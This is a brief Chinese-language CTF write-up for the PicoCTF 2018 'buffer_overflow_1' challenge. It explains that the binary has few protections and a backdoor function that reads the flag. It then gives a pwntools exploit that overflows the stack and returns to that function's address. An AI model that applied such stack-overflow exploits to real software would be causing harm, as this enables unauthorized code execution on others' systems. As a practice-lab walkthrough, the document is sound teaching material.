# 1. 查看程序信息
32 位程序,保护几乎都没开启
查看 vuln 函数,发现 v0
为 eax
(不过没什么用),查看一下汇编
发现有个后门函数可以读取 flag 文件
利用栈溢出返回到该地址即可
# 2.exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=process('./PicoCTF_2018_buffer_overflow_1') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
#shellcode = asm(shellcraft.sh()) | |
p.recvuntil("string: \n") | |
payload1=b"a"*(0x28+4)+p32(0x80485CB)#+p32()+p32()+p32() | |
p.sendline(payload1) | |
p.interactive() |
本地:
远程: